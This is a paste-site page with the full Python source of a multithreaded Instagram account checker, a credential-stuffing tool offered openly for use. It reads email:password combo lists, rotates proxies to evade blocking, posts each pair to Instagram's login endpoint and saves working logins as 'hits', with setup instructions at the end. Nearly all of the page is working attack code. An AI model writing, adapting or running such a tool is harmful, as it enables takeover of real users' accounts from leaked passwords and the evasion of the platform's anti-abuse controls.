Get your banner featured across MyPaste! Upload Banner

Instagram Checker v4.2 Source

9408 views No ratings yet Python Guest 22 days ago Public
Download
Python
#!/usr/bin/env python3
# Instagram Account Checker v4.2
# Features: Multi-threading, proxy support, hit sorting
# Author: Anonymous Security Researcher

import requests
import threading
import time
import random
from queue import Queue

class InstagramChecker:
    def __init__(self):
        self.session = requests.Session()
        self.proxies = self.load_proxies()
        self.combo_queue = Queue()
        self.hits = []
        self.checked = 0
        self.hits_count = 0
        
    def load_proxies(self):
        try:
            with open('proxies.txt', 'r') as f:
                proxies = [line.strip() for line in f.readlines()]
            return proxies
        except:
            return []
    
    def load_combos(self, filename):
        with open(filename, 'r', encoding='utf-8', errors='ignore') as f:
            for line in f:
                if ':' in line:
                    self.combo_queue.put(line.strip())
    
    def get_random_proxy(self):
        if self.proxies:
            proxy = random.choice(self.proxies)
            return {'http': f'http://{proxy}', 'https': f'http://{proxy}'}
        return None
    
    def check_account(self, username, password):
        headers = {
            'User-Agent': 'Instagram 219.0.0.12.117 Android',
            'Accept': '*/*',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate',
            'Content-Type': 'application/x-www-form-urlencoded',
            'X-Requested-With': 'XMLHttpRequest',
            'Connection': 'keep-alive',
        }
        
        login_data = {
            'username': username,
            'password': password,
            'queryParams': '{}',
            'optIntoOneTap': 'false'
        }
        
        try:
            proxy = self.get_random_proxy()
            response = self.session.post(
                'https://www.instagram.com/accounts/login/ajax/',
                data=login_data,
                headers=headers,
                proxies=proxy,
                timeout=10
            )
            
            if '"authenticated": true' in response.text:
                return 'hit'
            elif 'checkpoint_required' in response.text:
                return 'checkpoint'
            elif 'Please wait a few minutes' in response.text:
                return 'rate_limit'
            else:
                return 'invalid'
                
        except:
            return 'error'
    
    def worker(self):
        while True:
            if self.combo_queue.empty():
                break
                
            combo = self.combo_queue.get()
            if ':' not in combo:
                continue
                
            username, password = combo.split(':', 1)
            result = self.check_account(username, password)
            
            self.checked += 1
            
            if result == 'hit':
                self.hits.append(f"{username}:{password}")
                self.hits_count += 1
                print(f"[HIT] {username}:{password}")
                
            elif result == 'checkpoint':
                print(f"[CHECKPOINT] {username}:{password}")
                
            print(f"Checked: {self.checked} | Hits: {self.hits_count}")
            
            time.sleep(random.uniform(1, 3))  # Rate limiting
    
    def run(self, combo_file, threads=10):
        print("Loading combos...")
        self.load_combos(combo_file)
        print(f"Loaded {self.combo_queue.qsize()} combos")
        
        print("Starting checker...")
        thread_list = []
        
        for i in range(threads):
            t = threading.Thread(target=self.worker)
            t.start()
            thread_list.append(t)
        
        for t in thread_list:
            t.join()
        
        # Save hits
        with open('instagram_hits.txt', 'w') as f:
            for hit in self.hits:
                f.write(hit + '\n')
        
        print(f"Checking complete! Found {self.hits_count} hits")

if __name__ == "__main__":
    checker = InstagramChecker()
    checker.run('instagram_combos.txt', threads=20)

# Requirements:
# pip install requests
# Create proxies.txt with HTTP proxies
# Create instagram_combos.txt with email:password format

Community Rating

No ratings yet

Want to rate this paste?

Create a free account to rate pastes and unlock user rankings!